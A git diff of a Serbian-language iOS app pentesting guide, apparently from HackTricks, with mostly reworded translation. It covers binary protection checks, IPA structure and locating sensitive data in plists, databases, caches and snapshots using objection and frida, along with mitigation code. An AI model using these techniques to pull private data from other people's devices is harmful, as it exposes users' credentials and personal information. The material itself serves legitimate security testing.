otool -I -v <app-binary> | grep stack_chk # Trebalo bi da uključuje simbole: stack_chk_guard i stack_chk_fail
|
||||
|
@ -72,15 +72,15 @@ otool -I -v <app-binary> | grep stack_chk # Trebalo bi da uključuje simbole:
|
|||
```bash
|
||||
otool -I -v <app-binary> | grep objc_release # Trebalo bi da uključuje simbol _objc_release
|
||||
```
|
||||
* **Enkriptovan binarni fajl**: Binarni fajl treba da bude enkriptovan
|
||||
* **Enkriptovan Binarni Fajl**: Binarni fajl treba da bude enkriptovan
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptid treba da bude 1
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Cryptid treba da bude 1
|
||||
```
|
||||
|
||||
**Identifikacija osetljivih/nepouzdanih funkcija**
|
||||
**Identifikacija Osetljivih/Nesigurnih Funkcija**
|
||||
|
||||
* **Slabe funkcije za heširanje**
|
||||
* **Slabi Hashing Algoritmi**
|
||||
|
||||
```bash
|
||||
# Na iOS uređaju
|
||||
|
@ -91,7 +91,7 @@ otool -Iv <app> | grep -w "_CC_SHA1"
|
|||
grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
* **Nepouzdane funkcije za generisanje slučajnih brojeva**
|
||||
* **Nesigurne Random Funkcije**
|
||||
|
||||
```bash
|
||||
# Na iOS uređaju
|
||||
|
@ -104,7 +104,7 @@ grep -iER "_random"
|
|||
grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
```
|
||||
* **Nepouzdana 'Malloc' funkcija**
|
||||
* **Nesigurna 'Malloc' Funkcija**
|
||||
|
||||
```bash
|
||||
# Na iOS uređaju
|
||||
|
@ -113,7 +113,7 @@ otool -Iv <app> | grep -w "_malloc"
|
|||
# Na linux-u
|
||||
grep -iER "_malloc"
|
||||
```
|
||||
* **Nepouzdane i ranjive funkcije**
|
||||
* **Nesigurne i Ranjive Funkcije**
|
||||
|
||||
```bash
|
||||
# Na iOS uređaju
|
||||
|
@ -143,11 +143,11 @@ grep -iER "_printf"
|
|||
grep -iER "_vsprintf"
|
||||
```
|
||||
|
||||
### Osnovna dinamička analiza
|
||||
### Osnovna Dinamička Analiza
|
||||
|
||||
Pogledajte dinamičku analizu koju vrši [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Morate da navigujete kroz različite prikaze i interagujete sa njima, ali će povezati nekoliko klasa, obavljati druge radnje i pripremiti izveštaj kada završite.
|
||||
Pogledajte dinamičku analizu koju sprovodi [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Morate da navigujete kroz različite prikaze i interagujete sa njima, ali će povezivati nekoliko klasa i obavljati druge radnje, a izradiće izveštaj kada završite.
|
||||
|
||||
### Lista instaliranih aplikacija
|
||||
### Lista Instaliranih Aplikacija
|
||||
|
||||
Koristite komandu `frida-ps -Uai` da biste odredili **identifikator paketa** instaliranih aplikacija:
|
||||
```bash
|
||||
|
@ -164,7 +164,7 @@ PID Name Identifier
|
|||
```
|
||||
### Osnovna enumeracija i hakovanje
|
||||
|
||||
Naučite kako da **enumerišete komponente aplikacije** i kako lako da **hukujete metode i klase** pomoću objection alata:
|
||||
Naučite kako da **enumerišete komponente aplikacije** i kako lako da **hukujete metode i klase** pomoću objekcije:
|
||||
|
||||
{% content-ref url="ios-hooking-with-objection.md" %}
|
||||
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
|
||||
|
@ -172,14 +172,14 @@ Naučite kako da **enumerišete komponente aplikacije** i kako lako da **hukujet
|
|||
|
||||
### Struktura IPA fajla
|
||||
|
||||
Struktura **IPA fajla** je suštinski kao **zipovanog paketa**. Preimenovanjem ekstenzije u `.zip`, može se **dekompresovati** kako bi se otkrili njegovi sadržaji. Unutar ove strukture, **Bundle** predstavlja potpuno zapakovanu aplikaciju spremnu za instalaciju. Unutar, pronaći ćete direktorijum nazvan `<IME>.app`, koji obuhvata resurse aplikacije.
|
||||
Struktura **IPA fajla** je suštinski kao **zipovanog paketa**. Preimenovanjem ekstenzije u `.zip`, može se **dekompresovati** da bi se otkrili njegovi sadržaji. Unutar ove strukture, **Bundle** predstavlja potpuno zapakovanu aplikaciju spremnu za instalaciju. Unutar, pronaći ćete direktorijum nazvan `<IME>.app`, koji enkapsulira resurse aplikacije.
|
||||
|
||||
* **`Info.plist`**: Ovaj fajl sadrži specifične konfiguracione detalje aplikacije.
|
||||
* **`_CodeSignature/`**: Ovaj direktorijum uključuje plist fajl koji sadrži potpis, osiguravajući integritet svih fajlova u paketu.
|
||||
* **`Assets.car`**: Kompresovani arhiv koji čuva fajlove resursa poput ikona.
|
||||
* **`Frameworks/`**: Ovaj folder sadrži native biblioteke aplikacije, koje mogu biti u obliku `.dylib` ili `.framework` fajlova.
|
||||
* **`PlugIns/`**: Ovde se mogu nalaziti proširenja aplikacije, poznata kao `.appex` fajlovi, iako nisu uvek prisutni.
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Koristi se za čuvanje trajnih podataka vaše aplikacije za offline korišćenje, keširanje privremenih podataka i dodavanje funkcionalnosti poništavanja u vašu aplikaciju na jednom uređaju. Da sinhronizujete podatke na više uređaja u jednom iCloud nalogu, Core Data automatski preslikava vašu šemu u CloudKit kontejner.
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Koristi se za čuvanje trajnih podataka vaše aplikacije za offline korišćenje, keširanje privremenih podataka i dodavanje funkcionalnosti poništavanja u vašu aplikaciju na jednom uređaju. Da sinhronizujete podatke na više uređaja u jednom iCloud nalogu, Core Data automatski reflektuje vašu šemu u CloudKit kontejneru.
|
||||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Fajl `PkgInfo` je alternativni način za specificiranje tipa i kreator koda vaše aplikacije ili paketa.
|
||||
* **en.lproj, fr.proj, Base.lproj**: Su jezički paketi koji sadrže resurse za te specifične jezike, i podrazumevani resurs u slučaju da jezik nije podržan.
|
||||
* **Bezbednost**: Direktorijum `_CodeSignature/` igra ključnu ulogu u bezbednosti aplikacije verifikujući integritet svih zapakovanih fajlova putem digitalnih potpisa.
|
||||
|
@ -189,7 +189,7 @@ Struktura **IPA fajla** je suštinski kao **zipovanog paketa**. Preimenovanjem e
|
|||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist** služi kao osnova za iOS aplikacije, obuhvatajući ključne konfiguracione podatke u obliku **ključ-vrednost** parova. Ovaj fajl je obavezan ne samo za aplikacije već i za proširenja aplikacija i okvire koji su zapakovani unutar njih. Strukturiran je u XML ili binarnom formatu i sadrži ključne informacije koje se kreću od dozvola aplikacije do sigurnosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, možete se obratiti [**Apple Developer dokumentaciji**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
|
||||
**Info.plist** služi kao osnova za iOS aplikacije, enkapsulišući ključne konfiguracione podatke u obliku **ključ-vrednost** parova. Ovaj fajl je obavezan ne samo za aplikacije već i za proširenja aplikacija i okvire upakovane unutar njih. Strukturiran je u XML ili binarnom formatu i sadrži ključne informacije koje se kreću od dozvola aplikacije do sigurnosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, može se referisati na [**Apple Developer dokumentaciju**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
|
||||
|
||||
Za one koji žele da rade sa ovim fajlom u pristupačnijem formatu, konverzija u XML format može se postići lako korišćenjem `plutil` na macOS-u (dostupno nativno na verzijama 10.2 i kasnije) ili `plistutil` na Linux-u. Komande za konverziju su sledeće:
|
||||
|
||||
|
@ -202,15 +202,15 @@ $ plutil -convert xml1 Info.plist
|
|||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Među mnoštvom informacija koje **Info.plist** fajl može otkriti, značajni unosi uključuju niske dozvola aplikacije (`UsageDescription`), prilagođene URL šeme (`CFBundleURLTypes`), i konfiguracije za bezbednost transporta aplikacije (`NSAppTransportSecurity`). Ovi unosi, zajedno sa drugima poput izvezenih/uvezenih prilagođenih tipova dokumenata (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), mogu se lako pronaći inspekcijom fajla ili korišćenjem jednostavne `grep` komande:
|
||||
Među mnoštvom informacija koje **Info.plist** datoteka može otkriti, značajni unosi uključuju niske dozvola aplikacije (`UsageDescription`), prilagođene URL šeme (`CFBundleURLTypes`), i konfiguracije za bezbednost transporta aplikacije (`NSAppTransportSecurity`). Ovi unosi, zajedno sa drugima poput izvoženih/uvezenih prilagođenih tipova dokumenata (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), mogu se lako pronaći inspekcijom datoteke ili korišćenjem jednostavne `grep` komande:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Putanje podataka**
|
||||
|
||||
U iOS okruženju, direktorijumi su posebno određeni za **sistemsku aplikaciju** i **korisnički instalirane aplikacije**. Sistemski aplikacije se nalaze u direktorijumu `/Applications`, dok se korisnički instalirane aplikacije smeštaju pod `/private/var/containers/`. Ove aplikacije su dodeljene jedinstveni identifikator poznat kao **128-bitni UUID**, što čini ručno lociranje foldera aplikacije izazovnim zbog nasumičnosti imena direktorijuma.
|
||||
U iOS okruženju, direktorijumi su posebno određeni za **sistemsku aplikaciju** i **aplikacije koje je instalirao korisnik**. Sistemski aplikacije se nalaze u direktorijumu `/Applications`, dok se aplikacije koje je instalirao korisnik smeštaju u `/private/var/containers/`. Ove aplikacije su dodeljene jedinstveni identifikator poznat kao **128-bitni UUID**, što čini zadatak ručnog lociranja foldera aplikacije izazovnim zbog nasumičnosti imena direktorijuma.
|
||||
|
||||
Kako bi olakšao otkrivanje direktorijuma instalacije korisnički instalirane aplikacije, **objection alat** pruža korisnu komandu, `env`. Ova komanda otkriva detaljne informacije o direktorijumu za datu aplikaciju. U nastavku je primer kako koristiti ovu komandu:
|
||||
Kako bi olakšao otkrivanje direktorijuma instalacije aplikacije koju je instalirao korisnik, **objection alat** pruža korisnu komandu, `env`. Ova komanda otkriva detaljne informacije o direktorijumu za datu aplikaciju. U nastavku je primer kako koristiti ovu komandu:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
|
@ -225,7 +225,7 @@ Alternativno, ime aplikacije može biti pretraženo unutar `/private/var/contain
|
|||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
Komande poput `ps` i `lsof` takođe mogu biti iskorišćene za identifikaciju procesa aplikacije i listanje otvorenih fajlova, redom, pružajući uvid u aktivne putanje direktorijuma aplikacije:
|
||||
Komande poput `ps` i `lsof` takođe mogu biti iskorišćene za identifikaciju procesa aplikacije i listanje otvorenih fajlova, pružajući uvid u aktivne putanje direktorijuma aplikacije:
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
|
@ -252,22 +252,22 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
* Sadrži **polu-persistentne keširane fajlove**.
|
||||
* Nevidljiv korisnicima i **korisnici ne mogu pisati u njega**.
|
||||
* Sadržaj u ovom direktorijumu **nije rezervisan**.
|
||||
* OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je prostor za skladištenje fajlova skoro popunjen.
|
||||
* OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je malo slobodnog prostora za skladištenje.
|
||||
* **Library/Application Support/**
|
||||
* Sadrži **persistentne fajlove** neophodne za pokretanje aplikacije.
|
||||
* **Nevidljiv** **korisnicima** i korisnici ne mogu pisati u njega.
|
||||
* Sadržaj u ovom direktorijumu je **rezervisan**.
|
||||
* Aplikacija može onemogućiti putanje postavljanjem `NSURLIsExcludedFromBackupKey`.
|
||||
* **Library/Preferences/**
|
||||
* Koristi se za čuvanje svojstava koja mogu **trajati čak i nakon ponovnog pokretanja aplikacije**.
|
||||
* Koristi se za čuvanje svojstava koja mogu **persistirati čak i nakon restartovanja aplikacije**.
|
||||
* Informacije se čuvaju, nešifrovane, unutar peska aplikacije u plist fajlu nazvanom \[BUNDLE\_ID].plist.
|
||||
* Svi parovi ključ/vrednost sačuvani korišćenjem `NSUserDefaults` mogu se pronaći u ovom fajlu.
|
||||
* **tmp/**
|
||||
* Koristite ovaj direktorijum za pisanje **privremenih fajlova** koji ne moraju trajati između pokretanja aplikacije.
|
||||
* Koristite ovaj direktorijum za pisanje **privremenih fajlova** koji ne moraju persistirati između pokretanja aplikacije.
|
||||
* Sadrži ne-persistentne keširane fajlove.
|
||||
* **Nevidljiv** korisnicima.
|
||||
* Sadržaj u ovom direktorijumu nije rezervisan.
|
||||
* OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je prostor za skladištenje fajlova skoro popunjen.
|
||||
* OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je malo slobodnog prostora za skladištenje.
|
||||
|
||||
Pogledajmo detaljnije Application Bundle (.app) direktorijum iGoat-Swift aplikacije unutar Bundle direktorijuma (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
|
@ -301,7 +301,7 @@ DVIA-v2:
|
|||
```
|
||||
**Proverite da li je aplikacija enkriptovana**
|
||||
|
||||
Vidite da li postoji bilo kakav izlaz za:
|
||||
Pogledajte da li postoji bilo kakav izlaz za:
|
||||
```bash
|
||||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||||
```
|
||||
|
@ -363,7 +363,7 @@ double _field2;
|
|||
```
|
||||
Međutim, najbolje opcije za rastavljanje binarnog koda su: [**Hopper**](https://www.hopperapp.com/download.html?) i [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -386,15 +386,15 @@ Cilj je pronaći **nezaštićene osetljive informacije** aplikacije (šifre, tok
|
|||
|
||||
### Plist
|
||||
|
||||
**plist** fajlovi su strukturirani XML fajlovi koji **sadrže parove ključ-vrednost**. To je način čuvanja trajnih podataka, pa ponekad možete pronaći **osetljive informacije u ovim fajlovima**. Preporučuje se provera ovih fajlova nakon instaliranja aplikacije i nakon intenzivnog korišćenja kako biste videli da li su upisani novi podaci.
|
||||
**plist** fajlovi su strukturirani XML fajlovi koji **sadrže parove ključ-vrednost**. To je način za čuvanje trajnih podataka, pa ponekad možete pronaći **osetljive informacije u ovim fajlovima**. Preporučuje se provera ovih fajlova nakon instaliranja aplikacije i nakon intenzivnog korišćenja kako biste videli da li su upisani novi podaci.
|
||||
|
||||
Najčešći način trajnog čuvanja podataka u plist fajlovima je kroz korišćenje **NSUserDefaults**. Ovaj plist fajl se čuva unutar aplikacije u pesku u **`Library/Preferences/<appBundleID>.plist`**
|
||||
Najčešći način za trajno čuvanje podataka u plist fajlovima je kroz korišćenje **NSUserDefaults**. Ovaj plist fajl se čuva unutar aplikacije u pesku u **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) pruža programski interfejs za interakciju sa podrazumevanim sistemom. Podrazumevani sistem omogućava aplikaciji da prilagodi svoje ponašanje prema **korisničkim preferencama**. Podaci sačuvani pomoću `NSUserDefaults` mogu se pregledati u paketu aplikacije. Ova klasa čuva **podatke** u **plist** **fajlu**, ali je namenjena za korišćenje sa malim količinama podataka.
|
||||
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) pruža programski interfejs za interakciju sa podrazumevanim sistemom. Podrazumevani sistem omogućava aplikaciji da prilagodi svoje ponašanje prema **korisničkim preferencama**. Podaci sačuvani pomoću `NSUserDefaults` mogu se pregledati u aplikacionom paketu. Ova klasa čuva **podatke** u **plist** **fajlu**, ali je namenjena za korišćenje sa malim količinama podataka.
|
||||
|
||||
Ovi podaci ne mogu se direktno pristupiti putem pouzdanog računara, ali se mogu pristupiti pravljenjem **rezervne kopije**.
|
||||
Ovi podaci ne mogu direktno biti pristupljeni putem pouzdanog računara, ali se mogu pristupiti prilikom **bekapovanja**.
|
||||
|
||||
Možete **izbaciti** informacije sačuvane korišćenjem **`NSUserDefaults`** koristeći `ios nsuserdefaults get` u objection-u.
|
||||
Možete **izvući** informacije sačuvane korišćenjem **`NSUserDefaults`** koristeći `ios nsuserdefaults get` u objection-u.
|
||||
|
||||
Da biste pronašli sve plist fajlove koje koristi aplikacija, možete pristupiti `/private/var/mobile/Containers/Data/Application/{APPID}` i pokrenuti:
|
||||
```bash
|
||||
|
@ -417,14 +417,13 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
|||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) je okvir za upravljanje slojem modela objekata u vašoj aplikaciji. [Core Data može koristiti SQLite kao svoje trajno skladište](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ali sam okvir nije baza podataka.\
|
||||
CoreData podaci nisu automatski šifrovani. Međutim, dodatni sloj šifrovanja može biti dodat CoreDatu. Pogledajte [GitHub Repo](https://github.com/project-imas/encrypted-core-data) za više detalja.
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) je okvir za upravljanje slojem modela objekata u vašoj aplikaciji. [Core Data može koristiti SQLite kao svoje trajno skladište](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ali sam okvir nije baza podataka. CoreData ne šifrira podatke podrazumevano. Međutim, dodatni sloj šifrovanja može se dodati CoreData-u. Pogledajte [GitHub Repo](https://github.com/project-imas/encrypted-core-data) za više detalja.
|
||||
|
||||
Informacije o SQLite Core Data aplikaciji možete pronaći na putanji `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
**Ako možete otvoriti SQLite i pristupiti osetljivim informacijama, onda ste pronašli grešku u konfiguraciji.**
|
||||
|
||||
{% code title="Kod iz iGoat" %}
|
||||
{% code title="Kod iz iGoat-a" %}
|
||||
```objectivec
|
||||
-(void)storeDetails {
|
||||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||||
|
@ -457,15 +456,15 @@ Pošto su Yap baze podataka sqlite baze podataka, možete ih pronaći koristeći
|
|||
|
||||
### Ostale SQLite baze podataka
|
||||
|
||||
Često se dešava da aplikacije kreiraju svoje sopstvene sqlite baze podataka. Mogu **skladištiti** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga je uvek interesantno proveriti svaku bazu podataka unutar direktorijuma aplikacije. Zato idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`).
|
||||
Često se dešava da aplikacije kreiraju svoje sopstvene sqlite baze podataka. Mogu **čuvati** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga je uvek interesantno proveriti svaku bazu podataka unutar direktorijuma aplikacije. Zato idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`).
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase Real-Time Databases
|
||||
|
||||
Programeri mogu **skladištiti i sinhronizovati podatke** unutar **NoSQL cloud-hosted baze podataka** putem Firebase Real-Time baza podataka. Podaci se čuvaju u JSON formatu i sinhronizuju se u realnom vremenu sa svim povezanim klijentima.
|
||||
Programeri su omogućeni da **skladište i sinhronizuju podatke** unutar **NoSQL cloud-hosted baze podataka** putem Firebase Real-Time baza podataka. Podaci se čuvaju u JSON formatu i sinhronizuju se sa svim povezanim klijentima u realnom vremenu.
|
||||
|
||||
Kako proveriti da li su Firebase baze podataka netačno konfigurisane možete pronaći ovde:
|
||||
Možete saznati kako da proverite da li su Firebase baze podataka netačno konfigurisane ovde:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
|
||||
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
@ -473,7 +472,7 @@ Kako proveriti da li su Firebase baze podataka netačno konfigurisane možete pr
|
|||
|
||||
### Realm baze podataka
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) pružaju moćnu alternativu za skladištenje podataka, što nije obezbeđeno od strane Apple-a. Podaci se podrazumevano **čuvaju nešifrovano**, a enkripcija je dostupna putem specifične konfiguracije.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) nude moćnu alternativu za skladištenje podataka, što nije obezbeđeno od strane Apple-a. Podaci se podrazumevano **čuvaju nešifrovano**, sa mogućnošću enkripcije putem specifične konfiguracije.
|
||||
|
||||
Baze podataka se nalaze na: `/private/var/mobile/Containers/Data/Application/{APPID}`. Za istraživanje ovih fajlova, mogu se koristiti komande poput:
|
||||
```bash
|
||||
|
@ -484,7 +483,7 @@ $ find ./ -name "*.realm*"
|
|||
```
|
||||
Za pregledanje ovih baza podataka preporučuje se alat [**Realm Studio**](https://github.com/realm/realm-studio).
|
||||
|
||||
Za implementaciju enkripcije unutar Realm baze podataka, može se koristiti sledeći kodni isečak:
|
||||
Za implementaciju enkripcije unutar Realm baze podataka, može se koristiti sledeći kodni odlomak:
|
||||
```swift
|
||||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||||
let config = Realm.Configuration(encryptionKey: getKey())
|
||||
|
@ -498,9 +497,9 @@ fatalError("Error opening realm: \(error)")
|
|||
```
|
||||
### Baze podataka Couchbase Lite
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) je opisan kao **lagani** i **ugrađeni** bazični sistem koji sledi **orijentisan prema dokumentima** (NoSQL) pristup. Dizajniran da bude prirodan za **iOS** i **macOS**, nudi mogućnost sinhronizacije podataka bez problema.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) opisan je kao **lagani** i **ugrađeni** bazični motor koji sledi **orijentisan na dokumente** (NoSQL) pristup. Dizajniran da bude prirodan za **iOS** i **macOS**, nudi mogućnost sinhronizacije podataka bez problema.
|
||||
|
||||
Da biste identifikovali potencijalne Couchbase baze podataka na uređaju, trebalo bi da pregledate sledeći direktorijum:
|
||||
Da biste identifikovali potencijalne Couchbase baze podataka na uređaju, treba pregledati sledeći direktorijum:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
|
@ -525,9 +524,9 @@ Da biste pregledali fajl sa kolačićima, možete koristiti [**ovaj Python skrip
|
|||
}
|
||||
]
|
||||
```
|
||||
### Keširanje
|
||||
### Keš
|
||||
|
||||
Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori u Cache.db** bazi podataka. Ova baza može sadržati **osetljive podatke**, ako su tokeni, korisnička imena ili bilo koje druge osetljive informacije keširane. Da biste pronašli keširane informacije, otvorite direktorijum podataka aplikacije (`/var/mobile/Containers/Data/Application/<UUID>`) i idite na `/Library/Caches/<Bundle Identifier>`. **WebKit keširanje se takođe čuva u Cache.db** fajlu. **Objection** može otvoriti i interagovati sa bazom podataka komandom `sqlite connect Cache.db`, jer je to **obična SQLite baza podataka**.
|
||||
Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori u Cache.db** bazi podataka. Ova baza može sadržati **osetljive podatke**, ako su tokeni, korisnička imena ili bilo koje druge osetljive informacije keširane. Da biste pronašli keširane informacije, otvorite direktorijum podataka aplikacije (`/var/mobile/Containers/Data/Application/<UUID>`) i idite na `/Library/Caches/<Bundle Identifier>`. **WebKit keš se takođe čuva u Cache.db** fajlu. **Objection** može otvoriti i interagovati sa bazom podataka komandom `sqlite connect Cache.db`, jer je to **obična SQLite baza podataka**.
|
||||
|
||||
**Preporučuje se onemogućavanje keširanja ovih podataka**, jer može sadržati osetljive informacije u zahtevu ili odgovoru. U nastavku je prikazan spisak različitih načina postizanja ovoga:
|
||||
|
||||
|
@ -536,20 +535,20 @@ Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori
|
|||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
Ova metoda će ukloniti sve keširane zahteve i odgovore iz Cache.db fajla.
|
||||
2. Ako ne treba da koristite prednost kolačića, preporučuje se korišćenje svojstva [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfiguracije URLSession, što će onemogućiti čuvanje kolačića i keširanje.
|
||||
2. Ako ne treba da koristite prednost kolačića, preporučuje se korišćenje svojstva [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfiguracije URLSession, što će onemogućiti čuvanje kolačića i keša.
|
||||
|
||||
[Apple dokumentacija](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Objekat konfiguracije sesije ephemeral je sličan objektu konfiguracije sesije po podrazumevanim vrednostima (videti default), osim što odgovarajući objekat sesije ne čuva kešove, skladišta akreditacija ili bilo koje podatke vezane za sesiju na disku. Umesto toga, podaci vezani za sesiju se čuvaju u RAM-u. Jedini put kada sesija ephemeral piše podatke na disk je kada mu kažete da zapiše sadržaj URL-a u fajl.`
|
||||
3. Keširanje se takođe može onemogućiti postavljanjem Politike keširanja na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). To će onemogućiti čuvanje keša na bilo koji način, bilo u memoriji ili na disku.
|
||||
`Objekat konfiguracije sesije ephemeral je sličan objektu konfiguracije sesije po podrazumevanim vrednostima (videti default), osim što odgovarajući objekat sesije ne čuva kešove, skladišta akreditacija ili bilo koje podatke vezane za sesiju na disku. Umesto toga, podaci vezani za sesiju se čuvaju u RAM-u. Jedini put kada ephemeral sesija piše podatke na disk je kada joj kažete da zapiše sadržaj URL-a u fajl.`
|
||||
3. Keš se takođe može onemogućiti postavljanjem Politike keširanja na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). To će onemogućiti čuvanje keša na bilo koji način, bilo u memoriji ili na disku.
|
||||
|
||||
### Snimci
|
||||
|
||||
Kada pritisnete dugme za početni ekran, iOS **pravi snimak trenutnog ekrana** kako bi mogao da izvrši tranziciju ka aplikaciji na mnogo glađi način. Međutim, ako su **osetljivi podaci** prisutni na trenutnom ekranu, biće **sačuvani** u **slici** (koja **traje** **preko** **ponovnog pokretanja**). Ovo su snimci do kojih možete pristupiti i dvostrukim dodirivanjem početnog ekrana kako biste prešli između aplikacija.
|
||||
Kada pritisnete dugme za početni ekran, iOS **pravi snimak trenutnog ekrana** kako bi mogao da izvrši tranziciju ka aplikaciji na mnogo glađi način. Međutim, ako je **osetljivi** **podatak** prisutan na trenutnom ekranu, biće **sačuvan** u **slici** (koja **traje** **preko** **ponovnog pokretanja**). Ovo su snimci do kojih možete pristupiti i dvostrukim dodirivanjem početnog ekrana radi prebacivanja između aplikacija.
|
||||
|
||||
Osoba koja napada, osim ako iPhone nije džejlbrejkan, mora imati **pristup** **odblokiranom** uređaju da bi videla ove snimke ekrana. Podrazumevano, poslednji snimak se čuva u sandbox-u aplikacije u `Library/Caches/Snapshots/` ili `Library/SplashBoard/Snapshots` folderu (poverena računara ne mogu pristupiti fajl sistemu od iOX 7.0).
|
||||
Osoba koja napada, osim ako je iPhone jailbroken, mora imati **pristup** **odblokiranom** uređaju da bi videla ove snimke ekrana. Podrazumevano, poslednji snimak se čuva u sandbox-u aplikacije u `Library/Caches/Snapshots/` ili `Library/SplashBoard/Snapshots` folderu (poverena računara ne mogu pristupiti fajl sistemu od iOX 7.0).
|
||||
|
||||
Jedan način da se spreči ovo neželjeno ponašanje je da se postavi prazan ekran ili uklone osetljivi podaci pre pravljenja snimka korišćenjem funkcije `ApplicationDidEnterBackground()`.
|
||||
Jedan način da se spreči ovo loše ponašanje je postavljanje praznog ekrana ili uklanjanje osetljivih podataka pre pravljenja snimka korišćenjem funkcije `ApplicationDidEnterBackground()`.
|
||||
|
||||
U nastavku je prikazan primer metode za otklanjanje problema koji će postaviti podrazumevani snimak.
|
||||
|
||||
|
@ -585,15 +584,15 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
|||
[self.backgroundImage removeFromSuperview];
|
||||
}
|
||||
```
|
||||
Ovo postavlja pozadinsku sliku na `overlayImage.png` kada se aplikacija prebaci u pozadinu. To sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek prekriti trenutni prikaz.
|
||||
Ovo postavlja pozadinsku sliku na `overlayImage.png` kada se aplikacija prebaci u pozadinu. To sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek zameniti trenutni prikaz.
|
||||
|
||||
### Keychain
|
||||
|
